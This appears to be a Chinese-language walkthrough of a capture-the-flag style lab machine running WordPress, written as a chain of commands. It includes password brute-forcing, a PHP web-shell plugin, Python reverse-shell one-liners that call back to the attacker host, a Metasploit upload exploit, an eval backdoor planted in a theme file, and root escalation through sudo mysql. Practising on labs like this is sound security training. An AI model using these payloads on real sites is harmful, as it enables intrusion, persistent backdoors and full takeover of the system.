• 靶机地址

  • 难度:中

    知识点

  • 主机发现

  • 端口扫描

  • WEB路径爆破

  • BurpSuite内容替换

  • 密码爆破

  • MSF漏洞利用

  • Wordpress后台漏洞利用

  • 升级Full TTY终端

  • 蚁剑上线

  • 利用MySQL提权

    步骤

  • 主机发现

    • nmap -sn 192.168.2.0/24
    • 发现192.168.2.143开发80端口
  • nmap -p80 -sV 192.168.2.143

    • apache 2.4.41(ubuntu)
  • feroxbuster

    • 目录扫描
    • 安装时没有带字典
      • 安装字典:apt install seclists
    • feroxbuster –url http://192.168.2.143
    • 自己指定字典
      • -w /usr/share/dirb/wordlists/common.txt
  • 发现http://192.168.2.143/wordpress/

    • 但请求速度很慢,用BP抓包发现它要请求很多192.168.159.145的资源
    • 在BP的 options->match and replace 中增加 所有响应包的192.168.159.145替换成192.168.2.143
  • 发现后台 http://192.168.2.143/wordpress/wp-admin

    • 后台明确提示用户名错还是密码错
    • 测试存在admin
    • 进行密码破解,最好BP专业版不然很慢
      • /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
    • adam14
  • 发现后台添加插件的地方可以上传插件

    • 自己做一个插件
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21

      <?php
      /*
      Plugin Name: WordPress.org Plugin
      Plugin URI: https://developer.wordpress.org/plugins/the-basics/
      Description: Basic WordPress Plugin Header Comment
      Version: 20160911
      Author: WordPress.org
      Author URI: https://developer.wordpress.org/
      License: GPL2
      License URI: https://www.gnu.org/licenses/gpl-2.0.html
      Text Domain: wporg
      Domain Path: /languages
      */

      /*上面的信息是插件必须的*/

      if(isset($_GET['cmd']))
      {
      system($_GET['cmd']);
      }
  • 将php文件压缩成zip,上传

    • zip shell.zip shell.php
  • 测试

  • which python3

    • 存在python3的环境
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.142",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'
1
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.142",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
  • 测试利用msf获取shell

    • msfdb run
    • search wordpress admin
    • use exploit/unix/webapp/wp_admin_shell_upload
    • set PASSWORD adam14
    • set RHOSTS 192.168.2.143
    • set TARGETURI /wordpress
    • set USERNAME admin
    • set LHOST 192.168.2.142
    • run
    • shell
  • 在已有shell的情况下再生成蚁剑shell

    • cd wp-content/themes/twentytwentyone
    • vi 404.php
    • 进入vi后发现无法交互
    • 先升级shell(只适用于bash)
    • 首先攻击者要使用bash
      • 查看:echo $0 或 echo $SHELL
      • 修改:chsh -s /bin/bash
      • 重启
      • 重启后,自己IP变为了 144 ,之前的BP设置要再设
    • ctrl+z
    • stty raw -echo
    • fg
    • export SHELL=/bin/bash
    • export TERM=screen
    • stty rows 38 columns 116
    • reset
    • 到此已经升级成可交互,补全的shell了
    • ctrl + - 减小当时字体,避免进入vi时有显示问题
    • vi wp-content/themes/twentytwentyone/404.php
    • 如果还有显示问题,退出再次缩小
    • 在404.php中加入 eval($_POST['ant']);
  • 启动蚁剑

  • cat /etc/passwd

    • 查看当前系统可用账号
    • 发现wpadmin
  • 提权

    • 主流三步不行
    • 信息收集
    • wp-config.php
    • 发现数据库密码:Wp_Admin#123
  • 测试wpadmin的密码

    • 与web管理相同:adam14
  • 再提权

    • sudo -l 有机会
    • /usr/bin/mysql -u root -D wordpress -p
  • sudo /usr/bin/mysql -u root -D wordpress -p

    • 密码:adam14
    • 在数据中有调用系统命令的指令:system(简写:!)
      • sysem id
      • ! /bin/bash